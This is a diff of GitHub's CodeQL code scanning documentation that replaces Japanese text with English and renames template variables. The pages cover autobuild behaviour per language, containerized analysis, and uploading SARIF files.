| ビルドシステム | Windows: MSbuild スクリプトと build スクリプト<br/>Linux macOS: AutoconfMakeCMakeqmake MesonWafSConsLinux Kbuild、build の各スクリプト |
| Operating system | Windows, macOS, and Linux |
| Build system | Windows: MSbuild and build scripts<br/>Linux and macOS: Autoconf, Make, CMake, qmake, Meson, Waf, SCons, Linux Kbuild, and build scripts |
`autobuild` ステップの動作は、抽出を実行するオペレーティング システムによって異なります。 Windows `autobuild` ステップでは、以下の方法を使って C/C++ に適したビルド方法の自動検出が試みられます。
The behavior of the `autobuild` step varies according to the operating system that the extraction runs on. On Windows, the `autobuild` step attempts to autodetect a suitable build method for C/C++ using the following approach:
1. ルートに最も近いソリューション (`.sln`) またはプロジェクト (`.vcxproj`) ファイルで `MSBuild.exe` を呼び出します。
`autobuild` が最上位ディレクトリから同じ (最短) 深度で複数のソリューションまたはプロジェクト ファイルを検出した場合、それらすべてのビルドが試みられます。
2. ビルド スクリプトのように見えるスクリプト、つまり _build.bat_、_build.cmd_、_build.exe_ を、この順番で呼び出します。
1. Invoke `MSBuild.exe` on the solution (`.sln`) or project (`.vcxproj`) file closest to the root.
If `autobuild` detects multiple solution or project files at the same (shortest) depth from the top level directory, it will attempt to build all of them.
2. Invoke a script that looks like a build script—_build.bat_, _build.cmd_, _and build.exe_ (in that order).
Linux macOS `autobuild` ステップでは、リポジトリ内にあるファイルが確認されて、使われているビルド システムが特定されます。
On Linux and macOS, the `autobuild` step reviews the files present in the repository to determine the build system used:
1. ルートディレクトリでビルドシステムを探します。
2. 何も見つからない場合は、C/C++ のビルドシステムで一意のディレクトリをサブディレクトリで検索します。
3. 適切なコマンドを実行してシステムを設定します。
1. Look for a build system in the root directory.
2. If none are found, search subdirectories for a unique directory with a build system for C/C++.
3. Run an appropriate command to configure the system.
### C#
| サポートされているシステムの種類 | システム名 |
| Supported system type | System name |
|----|----|
| オペレーティング システム | Windows Linux |
| ビルドシステム | .NET MSbuild、およびビルドスクリプト |
| Operating system | Windows and Linux |
| Build system | .NET and MSbuild, as well as build scripts |
`autobuild` プロセスは、次の方法を使って C# に適したビルド方法の自動検出を試みます。
The `autobuild` process attempts to autodetect a suitable build method for C# using the following approach:
1. ルートに最も近いソリューション (`.sln`) またはプロジェクト (`.csproj`) ファイルで `dotnet build` を呼び出します。
2. ルートに最も近いソリューションまたはプロジェクト ファイルで、`MSbuild` (Linux) または `MSBuild.exe` (Windows) を呼び出します。
`autobuild` が最上位ディレクトリから同じ (最短) 深度で複数のソリューションまたはプロジェクト ファイルを検出した場合、それらすべてのビルドが試みられます。
3. ビルド スクリプトのように見えるスクリプト、つまり _build__build.sh_ (Linux の場合、この順序で) または _build.bat_、_build.cmd_、_and build.exe_ (Windows の場合、この順序で) を呼び出します。
1. Invoke `dotnet build` on the solution (`.sln`) or project (`.csproj`) file closest to the root.
2. Invoke `MSbuild` (Linux) or `MSBuild.exe` (Windows) on the solution or project file closest to the root.
If `autobuild` detects multiple solution or project files at the same (shortest) depth from the top level directory, it will attempt to build all of them.
3. Invoke a script that looks like a build script—_build_ and _build.sh_ (in that order, for Linux) or _build.bat_, _build.cmd_, _and build.exe_ (in that order, for Windows).
{% ifversion codeql-go-autobuild %}
### Go
| サポートされているシステムの種類 | システム名 |
| Supported system type | System name |
|----|----|
| オペレーティング システム | WindowsmacOSLinux |
| ビルドシステム | Go モジュール、`dep`、Glide、およびメイクファイルや Ninja スクリプトを含むビルド スクリプト |
| Operating system | Windows, macOS, and Linux |
| Build system | Go modules, `dep` and Glide, as well as build scripts including Makefiles and Ninja scripts |
`autobuild` プロセスは、すべての `.go` ファイルを抽出する前に、Go リポジトリで必要な依存関係をインストールする適切な方法の自動検出を試みます。
The `autobuild` process attempts to autodetect a suitable way to install the dependencies needed by a Go repository before extracting all `.go` files:
1. `make``ninja`、または `./build` を、これらのコマンドのいずれかが成功し、その後の `./build.sh` も成功して、必要な依存関係がインストールされたことを示すまで、(この順序で) 呼び出`go list ./...`します。
2. これらのコマンドがいずれも成功しなかった場合は、`go.mod``Gopkg.toml`、または `glide.yaml` を探し、それぞれの `go get` (ベンダーが使用していない場合)、`dep ensure -v`、または `glide install` を実行して、依存関係のインストールを試みます。
3. 最後に、これらの依存関係マネージャーの構成ファイルが見つからない場合は、`GOPATH` に追加するのに適したリポジトリ ディレクトリ構造に調整し直し、`go get` を使って依存関係をインストールします。 抽出が完了すると、ディレクトリ構造は通常に戻ります。
4. `go build ./...` を実行するのと同じようにして、リポジトリ内のすべての Go コードを抽出します。
1. Invoke `make`, `ninja`, `./build` or `./build.sh` (in that order) until one of these commands succeeds and a subsequent `go list ./...` also succeeds, indicating that the needed dependencies have been installed.
2. If none of those commands succeeded, look for `go.mod`, `Gopkg.toml` or `glide.yaml`, and run `go get` (unless vendoring is in use), `dep ensure -v` or `glide install` respectively to try to install dependencies.
3. Finally, if configurations files for these dependency managers are not found, rearrange the repository directory structure suitable for addition to `GOPATH`, and use `go get` to install dependencies. The directory structure reverts to normal after extraction completes.
4. Extract all Go code in the repository, similar to running `go build ./...`.
{% endif %}
### Java
| サポートされているシステムの種類 | システム名 |
| Supported system type | System name |
|----|----|
| オペレーティング システム | WindowsmacOSLinux (制限なし) |
| ビルドシステム | GradleMavenAnt |
| Operating system | Windows, macOS, and Linux (no restriction) |
| Build system | Gradle, Maven and Ant |
`autobuild` プロセスは、この戦略を適用して、Java コードベース用のビルド システムの特定を試みます。
The `autobuild` process tries to determine the build system for Java codebases by applying this strategy:
1. ルートディレクトリでビルドファイルを検索します。 Gradle、Maven、Ant の各ビルドファイルを確認します。
2. 最初に見つかったビルドファイルを実行します。 Gradle ファイルと Maven ファイルの両方が存在する場合は、Gradle ファイルが使用されます。
3. それ以外の場合は、ルートディレクトリの直接サブディレクトリ内でビルドファイルを検索します。 1 つのサブディレクトリにのみビルドファイルが含まれている場合は、そのサブディレクトリで識別された最初のファイルを実行します1 と同じ環境設定を使用)。 複数のサブディレクトリにビルドファイルが含まれている場合は、エラーを報告します。
1. Search for a build file in the root directory. Check for Gradle then Maven then Ant build files.
2. Run the first build file found. If both Gradle and Maven files are present, the Gradle file is used.
3. Otherwise, search for build files in direct subdirectories of the root directory. If only one subdirectory contains build files, run the first file identified in that subdirectory (using the same preference as for 1). If more than one subdirectory contains build files, report an error.
## コンパイル言語のビルドステップを追加する
## Adding build steps for a compiled language
{% data reusables.code-scanning.autobuild-add-build-steps %}ワークフロー ファイルの編集方法については、「[{% data variables.product.prodname_code_scanning %} を構成する](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)」をご覧ください。
{% data reusables.code-scanning.autobuild-add-build-steps %} For information on how to edit the workflow file, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)."
`autobuild` ステップを削除したら、`run` ステップをコメント解除して、リポジトリに適したビルド コマンドを追加します。 ワークフローの `run` ステップでは、オペレーティング システムのシェルを使ってコマンド ライン プログラムが実行されます。 これらのコマンドを変更し、別のコマンドを追加してビルド プロセスをカスタマイズできます。
After removing the `autobuild` step, uncomment the `run` step and add build commands that are suitable for your repository. The workflow `run` step runs command-line programs using the operating system's shell. You can modify these commands and add more commands to customize the build process.
``` yaml
- run: |
@@ -132,9 +133,9 @@ Linux と macOS の `autobuild` ステップでは、リポジトリ内にある
make release
```
`run` キーワードについて詳しくは、「[{% data variables.product.prodname_actions %} のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)」をご覧ください。
For more information about the `run` keyword, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)."
リポジトリに複数のコンパイル済み言語が含まれている場合は、言語固有のビルド コマンドを指定できます。 たとえば、リポジトリに C/C++、C#、Java が含まれていて、`autobuild` によって C/C++ C# は正しくビルドされるが、Java のビルドは失敗する場合は、ワークフローの `init` ステップの後で次の構成を使用できます。 これにより、C/C++ と C# には `autobuild` をそのまま使用しつつ、Java のビルド ステップを指定します。
If your repository contains multiple compiled languages, you can specify language-specific build commands. For example, if your repository contains C/C++, C# and Java, and `autobuild` correctly builds C/C++ and C# but fails to build Java, you could use the following configuration in your workflow, after the `init` step. This specifies build steps for Java while still using `autobuild` for C/C++ and C#:
```yaml
- if: matrix.language == 'cpp' || matrix.language == 'csharp'
@@ -148,8 +149,8 @@ Linux と macOS の `autobuild` ステップでは、リポジトリ内にある
make release
```
`if` 条件について詳しくは、「[GitHub Actions のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsif)」をご覧ください。
For more information about the `if` conditional, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsif)."
`autobuild` でコードがビルドされない理由に関するその他のヒントとテクニックについては、「[{% data variables.product.prodname_codeql %} ワークフローのトラブルシューティング](/code-security/secure-coding/troubleshooting-the-codeql-workflow)」をご覧ください。
For more tips and tricks about why `autobuild` won't build your code, see "[Troubleshooting the {% data variables.product.prodname_codeql %} workflow](/code-security/secure-coding/troubleshooting-the-codeql-workflow)."
コンパイル言語にマニュアルのビルドステップを追加しても、リポジトリで依然として{% data variables.product.prodname_code_scanning %}が動作しない場合は、{% data variables.contact.contact_support %}にお問い合わせください。
If you added manual build steps for compiled languages and {% data variables.product.prodname_code_scanning %} is still not working on your repository, contact {% data variables.contact.contact_support %}.

View File

@@ -1,7 +1,7 @@
---
title: コンテナで CodeQL Code scanningを実行する
title: Running CodeQL code scanning in a container
shortTitle: '{% data variables.product.prodname_code_scanning_capc %} in a container'
intro: 'すべてのプロセスが同じコンテナで動作するようにすることで、{% data variables.product.prodname_code_scanning %} を実行できます。'
intro: 'You can run {% data variables.product.prodname_code_scanning %} in a container by ensuring that all processes run in the same container.'
product: '{% data reusables.gated-features.code-scanning %}'
redirect_from:
- /github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-a-container
@@ -21,44 +21,42 @@ topics:
- Repositories
- Containers
- Java
ms.openlocfilehash: 9f4fb3cd54dda2f31ec6086419078345dad51e8d
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 09/05/2022
ms.locfileid: '147682677'
---
{% data reusables.code-scanning.beta %}
## コンテナ化されたビルドで {% data variables.product.prodname_code_scanning %} を使用することについて
## About {% data variables.product.prodname_code_scanning %} with a containerized build
コンパイル言語用に {% data variables.product.prodname_code_scanning %} をセットアップし、コンテナ化された環境でコードをビルドしようとすると、解析が失敗し、"No source code was seen during the build." というエラーメッセージが出る場合があります。 これは、コードがコンパイルされているので {% data variables.product.prodname_codeql %} がコードをモニターできなかったことを示しています。
If you're setting up {% data variables.product.prodname_code_scanning %} for a compiled language, and you're building the code in a containerized environment, the analysis may fail with the error message "No source code was seen during the build." This indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code as it was compiled.
{% data variables.product.prodname_codeql %}は、コードをビルドするコンテナ内で実行しなければなりません。 これは、{% data variables.product.prodname_codeql_cli %}{% ifversion codeql-runner-supported %}{% data variables.product.prodname_codeql_runner %}{% endif %}または {% data variables.product.prodname_actions %} のいずれを使っていても当てはまります。 {% data variables.product.prodname_codeql_cli %} {% ifversion codeql-runner-supported %}または {% data variables.product.prodname_codeql_runner %} {% endif %}の場合、詳しくは、「[CI システムに {% data variables.product.prodname_codeql_cli %} をインストールする](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system){% ifversion codeql-runner-supported %}または「[CI システムで {% data variables.product.prodname_codeql_runner %} を実行する](/code-security/secure-coding/running-codeql-runner-in-your-ci-system){% endif %}をご覧ください。 {% data variables.product.prodname_actions %} を使用している場合は、同じコンテナですべてのアクションを実行するようワークフローを設定します。 詳しくは、「[ワークフローの例](#example-workflow)」をご覧ください。
You must run {% data variables.product.prodname_codeql %} inside the container in which you build your code. This applies whether you are using the {% data variables.product.prodname_codeql_cli %}{% ifversion codeql-runner-supported %}, the {% data variables.code-scanning.codeql_runner %},{% endif %} or {% data variables.product.prodname_actions %}. For the {% data variables.product.prodname_codeql_cli %} {% ifversion codeql-runner-supported %}or the {% data variables.code-scanning.codeql_runner %}{% endif %}, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)"{% ifversion codeql-runner-supported %} or "[Running {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)"{% endif %} for more information. If you're using {% data variables.product.prodname_actions %}, configure your workflow to run all the actions in the same container. For more information, see "[Example workflow](#example-workflow)."
{% note %}
**メモ:** {% data reusables.code-scanning.non-glibc-linux-support %}
**Note:** {% data reusables.code-scanning.non-glibc-linux-support %}
{% endnote %}
## 依存関係
## Dependencies
使用しているコンテナで特定の依存関係がない場合 (たとえば、Git は PATH 変数にインストールされ、追加されている必要がある)、{% data variables.product.prodname_code_scanning %} を実行する上で困難が生じる場合があります。 依存関係の問題が生じた場合は、{% data variables.product.prodname_dotcom %} のランナー イメージに通常含まれているソフトウェアのリストを確認してください。 詳しくは、次の場所にある特定のバージョンの `readme` ファイルをご覧ください。
You may have difficulty running {% data variables.product.prodname_code_scanning %} if the container you're using is missing certain dependencies (for example, Git must be installed and added to the PATH variable). If you encounter dependency issues, review the list of software typically included on {% data variables.product.prodname_dotcom %}'s runner images. For more information, see the version-specific `readme` files in these locations:
* Linux: https://github.com/actions/runner-images/tree/main/images/linux
* macOS: https://github.com/actions/runner-images/tree/main/images/macos
* Windows: https://github.com/actions/runner-images/tree/main/images/win
## ワークフローの例
## Example workflow
{% ifversion ghes or ghae %} {% note %}
{% ifversion ghes or ghae %}
{% note %}
**メモ:** この記事では、このバージョンの {% data variables.product.product_name %} の初期リリースに含まれる CodeQL アクションのバージョンおよび関連する CodeQL CLI バンドルで使用できる機能について説明します。 企業で CodeQL アクションのより新しいバージョンを使っている場合、最新機能について詳しくは、[{% data variables.product.prodname_ghe_cloud %} に関する記事](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container)をご覧ください。{% ifversion not ghae %}最新バージョンの使用については、「[アプライアンスのコード スキャンの構成](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access)」をご覧ください。{% endif %}
**Note:** This article describes the features available with the version of the CodeQL action and associated CodeQL CLI bundle included in the initial release of this version of {% data variables.product.product_name %}. If your enterprise uses a more recent version of the CodeQL action, see the [{% data variables.product.prodname_ghe_cloud %} article](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container) for information on the latest features.{% ifversion not ghae %} For information on using the latest version, see "[Configuring code scanning for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access)."{% endif %}
{% endnote %} {% endif %}
{% endnote %}
{% endif %}
このサンプルワークフローでは、{% data variables.product.prodname_actions %} を使用して、コンテナ化された環境において {% data variables.product.prodname_codeql %} 解析を実行します。 使用するコンテナーを識別する `container.image` の値。 この例では、イメージは、`f0f91db` のタグを持つ、`codeql-container` という名前です。 詳細については、[{% data variables.product.prodname_actions %} のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer)に関するページを参照してください。
This sample workflow uses {% data variables.product.prodname_actions %} to run {% data variables.product.prodname_codeql %} analysis in a containerized environment. The value of `container.image` identifies the container to use. In this example the image is named `codeql-container`, with a tag of `f0f91db`. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer)."
``` yaml
name: "{% data variables.product.prodname_codeql %}"

View File

@@ -95,11 +95,11 @@ You can set up {% data variables.product.prodname_code_scanning %} in any public
{% data reusables.repositories.sidebar-security %}
1. To the right of "{% data variables.product.prodname_code_scanning_capc %} alerts", click **Set up {% data variables.product.prodname_code_scanning %}**.{% ifversion ghec or ghes or ghae %} If {% data variables.product.prodname_code_scanning %} is missing, you need to ask an organization owner or repository administrator to enable {% data variables.product.prodname_GH_advanced_security %}.{% endif %} For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" or "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."
!["Set up {% data variables.product.prodname_code_scanning %}" button to the right of "{% data variables.product.prodname_code_scanning_capc %}" in the Security Overview](/assets/images/help/security/overview-set-up-code-scanning.png)
4. Under "Get started with {% data variables.product.prodname_code_scanning %}", click **Set up this workflow** on the {% data variables.product.prodname_codeql_workflow %} or on a third-party workflow.
!["Set up this workflow" button under "Get started with {% data variables.product.prodname_code_scanning %}" heading](/assets/images/help/repository/code-scanning-set-up-this-workflow.png)Workflows are only displayed if they are relevant for the programming languages detected in the repository. The {% data variables.product.prodname_codeql_workflow %} is always displayed, but the "Set up this workflow" button is only enabled if {% data variables.product.prodname_codeql %} analysis supports the languages present in the repository.
4. Under "Get started with {% data variables.product.prodname_code_scanning %}", click **Set up this workflow** on the {% data variables.code-scanning.codeql_workflow %} or on a third-party workflow.
!["Set up this workflow" button under "Get started with {% data variables.product.prodname_code_scanning %}" heading](/assets/images/help/repository/code-scanning-set-up-this-workflow.png)Workflows are only displayed if they are relevant for the programming languages detected in the repository. The {% data variables.code-scanning.codeql_workflow %} is always displayed, but the "Set up this workflow" button is only enabled if {% data variables.product.prodname_codeql %} analysis supports the languages present in the repository.
5. To customize how {% data variables.product.prodname_code_scanning %} scans your code, edit the workflow.
Generally you can commit the {% data variables.product.prodname_codeql_workflow %} without making any changes to it. However, many of the third-party workflows require additional configuration, so read the comments in the workflow before committing.
Generally you can commit the {% data variables.code-scanning.codeql_workflow %} without making any changes to it. However, many of the third-party workflows require additional configuration, so read the comments in the workflow before committing.
For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)."
6. Use the **Start commit** drop-down, and type a commit message.
@@ -108,7 +108,7 @@ You can set up {% data variables.product.prodname_code_scanning %} in any public
![Choose where to commit](/assets/images/help/repository/start-commit-choose-where-to-commit.png)
8. Click **Commit new file** or **Propose new file**.
In the default {% data variables.product.prodname_codeql_workflow %}, {% data variables.product.prodname_code_scanning %} is configured to analyze your code each time you either push a change to the default branch or any protected branches, or raise a pull request against the default branch. As a result, {% data variables.product.prodname_code_scanning %} will now commence.
In the default {% data variables.code-scanning.codeql_workflow %}, {% data variables.product.prodname_code_scanning %} is configured to analyze your code each time you either push a change to the default branch or any protected branches, or raise a pull request against the default branch. As a result, {% data variables.product.prodname_code_scanning %} will now commence.
The `on:pull_request` and `on:push` triggers for code scanning are each useful for different purposes. For more information, see "[Scanning pull requests](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-pull-requests)" and "[Scanning on push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)."
## Bulk set up of {% data variables.product.prodname_code_scanning %}

View File

@@ -63,7 +63,7 @@ You can override the default behavior in your repository settings, by specifying
Depending on your configuration, you may see additional checks running on pull requests with {% data variables.product.prodname_code_scanning %} configured. These are usually workflows that analyze the code or that upload {% data variables.product.prodname_code_scanning %} results. These checks are useful for troubleshooting when there are problems with the analysis.
For example, if the repository uses the {% data variables.product.prodname_codeql_workflow %} a **{% data variables.product.prodname_codeql %} / Analyze (LANGUAGE)** check is run for each language before the results check runs. The analysis check may fail if there are configuration problems, or if the pull request breaks the build for a language that the analysis needs to compile (for example, C/C++, C#, or Java).
For example, if the repository uses the {% data variables.code-scanning.codeql_workflow %} a **{% data variables.product.prodname_codeql %} / Analyze (LANGUAGE)** check is run for each language before the results check runs. The analysis check may fail if there are configuration problems, or if the pull request breaks the build for a language that the analysis needs to compile (for example, C/C++, C#, or Java).
As with other pull request checks, you can see full details of the check failure on the **Checks** tab. For more information about configuring and troubleshooting, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" or "[Troubleshooting the {% data variables.product.prodname_codeql %} workflow](/code-security/secure-coding/troubleshooting-the-codeql-workflow)."

View File

@@ -69,7 +69,7 @@ You need to ensure that you select **Enable debug logging** . This option enable
### Creating {% data variables.product.prodname_codeql %} debugging artifacts using a workflow flag
You can create {% data variables.product.prodname_codeql %} debugging artifacts by using a flag in your workflow. For this, you need to modify the `init` step of your {% data variables.product.prodname_codeql_workflow %} file and set `debug: true`.
You can create {% data variables.product.prodname_codeql %} debugging artifacts by using a flag in your workflow. For this, you need to modify the `init` step of your {% data variables.code-scanning.codeql_workflow %} file and set `debug: true`.
```yaml
- name: Initialize CodeQL
@@ -212,7 +212,7 @@ If you use self-hosted runners to run {% data variables.product.prodname_codeql
### Use matrix builds to parallelize the analysis
The default {% data variables.product.prodname_codeql_workflow %} uses a matrix of languages, which causes the analysis of each language to run in parallel. If you have specified the languages you want to analyze directly in the "Initialize CodeQL" step, analysis of each language will happen sequentially. To speed up analysis of multiple languages, modify your workflow to use a matrix. For more information, see the workflow extract in "[Automatic build for a compiled language fails](#automatic-build-for-a-compiled-language-fails)" above.
The default {% data variables.code-scanning.codeql_workflow %} uses a matrix of languages, which causes the analysis of each language to run in parallel. If you have specified the languages you want to analyze directly in the "Initialize CodeQL" step, analysis of each language will happen sequentially. To speed up analysis of multiple languages, modify your workflow to use a matrix. For more information, see the workflow extract in "[Automatic build for a compiled language fails](#automatic-build-for-a-compiled-language-fails)" above.
### Reduce the amount of code being analyzed in a single workflow
@@ -243,9 +243,9 @@ You may be running extra queries or query suites in addition to the default quer
## Results differ between analysis platforms
If you are analyzing code written in Python, you may see different results depending on whether you run the {% data variables.product.prodname_codeql_workflow %} on Linux, macOS, or Windows.
If you are analyzing code written in Python, you may see different results depending on whether you run the {% data variables.code-scanning.codeql_workflow %} on Linux, macOS, or Windows.
On GitHub-hosted runners that use Linux, the {% data variables.product.prodname_codeql_workflow %} tries to install and analyze Python dependencies, which could lead to more results. To disable the auto-install, add `setup-python-dependencies: false` to the "Initialize CodeQL" step of the workflow. For more information about configuring the analysis of Python dependencies, see "[Analyzing Python dependencies](/code-security/secure-coding/configuring-code-scanning#analyzing-python-dependencies)."
On GitHub-hosted runners that use Linux, the {% data variables.code-scanning.codeql_workflow %} tries to install and analyze Python dependencies, which could lead to more results. To disable the auto-install, add `setup-python-dependencies: false` to the "Initialize CodeQL" step of the workflow. For more information about configuring the analysis of Python dependencies, see "[Analyzing Python dependencies](/code-security/secure-coding/configuring-code-scanning#analyzing-python-dependencies)."
{% endif %}
@@ -289,7 +289,7 @@ on:
### Analysis still failing on the default branch
If the {% data variables.product.prodname_codeql_workflow %} still fails on a commit made on the default branch, you need to check:
If the {% data variables.code-scanning.codeql_workflow %} still fails on a commit made on the default branch, you need to check:
- whether {% data variables.product.prodname_dependabot %} authored the commit
- whether the pull request that includes the commit has been merged using `@dependabot squash and merge`
@@ -304,7 +304,7 @@ You will see this error if CodeQL is unable to find the named query, query suite
- There is a typo in the workflow.
- A resource the workflow refers to by path was renamed, deleted, or moved to a new location.
After verifying the location of the resource, you can update the workflow to specify the correct location. If you run additional queries in Go analysis, you may have been affected by the relocation of the source files. For more information, see [Relocation announcement: `github/codeql-go` moving into `github/codeql`](https://github.com/github/codeql-go/issues/741) in the github/codeql-go repository.
After verifying the location of the resource, you can update the workflow to specify the correct location.
## Warning: "git checkout HEAD^2 is no longer necessary"

View File

@@ -31,7 +31,7 @@ SARIF (Static Analysis Results Interchange Format) is an [OASIS Standard](https:
To upload a SARIF file from a third-party static code analysis engine, you'll need to ensure that uploaded files use the SARIF 2.1.0 version. {% data variables.product.prodname_dotcom %} will parse the SARIF file and show alerts using the results in your repository as a part of the {% data variables.product.prodname_code_scanning %} experience. For more information, see "[Uploading a SARIF file to {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github)." For more information about the SARIF 2.1.0 JSON schema, see [`sarif-schema-2.1.0.json`](https://github.com/oasis-tcs/sarif-spec/blob/master/Documents/CommitteeSpecifications/2.1.0/sarif-schema-2.1.0.json).
If you're using {% data variables.product.prodname_actions %} with the {% data variables.product.prodname_codeql_workflow %}{% ifversion codeql-runner-supported %}, using the {% data variables.product.prodname_codeql_runner %},{% endif %} or using the {% data variables.product.prodname_codeql_cli %}, then the {% data variables.product.prodname_code_scanning %} results will automatically use the supported subset of SARIF 2.1.0. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)"{% ifversion codeql-runner-supported %}, "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)",{% endif %} or "[Installing CodeQL CLI in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)."
If you're using {% data variables.product.prodname_actions %} with the {% data variables.code-scanning.codeql_workflow %}{% ifversion codeql-runner-supported %}, using the {% data variables.code-scanning.codeql_runner %},{% endif %} or using the {% data variables.product.prodname_codeql_cli %}, then the {% data variables.product.prodname_code_scanning %} results will automatically use the supported subset of SARIF 2.1.0. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)"{% ifversion codeql-runner-supported %}, "[Running {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)",{% endif %} or "[Installing CodeQL CLI in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)."
You can upload multiple SARIF files for the same commit, and display the data from each file as {% data variables.product.prodname_code_scanning %} results. When you upload multiple SARIF files for a commit, you must indicate a "category" for each analysis. The way to specify a category varies according to the analysis method:
- Using the {% data variables.product.prodname_codeql_cli %} directly, pass the `--sarif-category` argument to the `codeql database analyze` command when you generate SARIF files. For more information, see "[Configuring CodeQL CLI in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#about-generating-code-scanning-results-with-codeql-cli)."
@@ -57,7 +57,7 @@ The filepath has to be consistent across the runs to enable a computation of a s
{% data variables.product.prodname_dotcom %} uses the `partialFingerprints` property in the OASIS standard to detect when two results are logically identical. For more information, see the "[partialFingerprints property](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012611)" entry in the OASIS documentation.
SARIF files created by the {% data variables.product.prodname_codeql_workflow %}, {% ifversion codeql-runner-supported %}using the {% data variables.product.prodname_codeql_runner %}, {% endif %}or using the {% data variables.product.prodname_codeql_cli %} include fingerprint data. If you upload a SARIF file using the `upload-sarif` action and this data is missing, {% data variables.product.prodname_dotcom %} attempts to populate the `partialFingerprints` field from the source files. For more information about uploading results, see "[Uploading a SARIF file to {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github#uploading-a-code-scanning-analysis-with-github-actions)."
SARIF files created by the {% data variables.code-scanning.codeql_workflow %}, {% ifversion codeql-runner-supported %}using the {% data variables.code-scanning.codeql_runner %}, {% endif %}or using the {% data variables.product.prodname_codeql_cli %} include fingerprint data. If you upload a SARIF file using the `upload-sarif` action and this data is missing, {% data variables.product.prodname_dotcom %} attempts to populate the `partialFingerprints` field from the source files. For more information about uploading results, see "[Uploading a SARIF file to {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github#uploading-a-code-scanning-analysis-with-github-actions)."
If you upload a SARIF file without fingerprint data using the `/code-scanning/sarifs` API endpoint, the {% data variables.product.prodname_code_scanning %} alerts will be processed and displayed, but users may see duplicate alerts. To avoid seeing duplicate alerts, you should calculate fingerprint data and populate the `partialFingerprints` property before you upload the SARIF file. You may find the script that the `upload-sarif` action uses a helpful starting point: https://github.com/github/codeql-action/blob/main/src/fingerprints.ts. For more information about the API, see "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)."

View File

@@ -1,5 +1,5 @@
---
title: SARIF ファイルを GitHub にアップロードする
title: Uploading a SARIF file to GitHub
shortTitle: Upload a SARIF file
intro: '{% data reusables.code-scanning.you-can-upload-third-party-analysis %}'
permissions: 'People with write permissions to a repository can upload {% data variables.product.prodname_code_scanning %} data generated outside {% data variables.product.prodname_dotcom %}.'
@@ -23,57 +23,54 @@ topics:
- Repositories
- CI
- SARIF
ms.openlocfilehash: 80f95a5c74a465a285d73f1af9719b2f7a4981d6
ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 09/09/2022
ms.locfileid: '147705758'
---
{% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %}
## {% data variables.product.prodname_code_scanning %} に対する SARIF ファイルのアップロードについて
{% data variables.product.prodname_dotcom %} は、静的分析結果交換形式 (SARIF) ファイルの情報を使用して、リポジトリに {% data variables.product.prodname_code_scanning %} アラートを作成します。 SARIF ファイルは、API または {% data variables.product.prodname_actions %} を使用してリポジトリにアップロードできます。 詳細については、「[リポジトリの {% data variables.product.prodname_code_scanning %} アラートの管理](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)」を参照してください。
{% data reusables.code-scanning.beta %}
{% data reusables.code-scanning.enterprise-enable-code-scanning %}
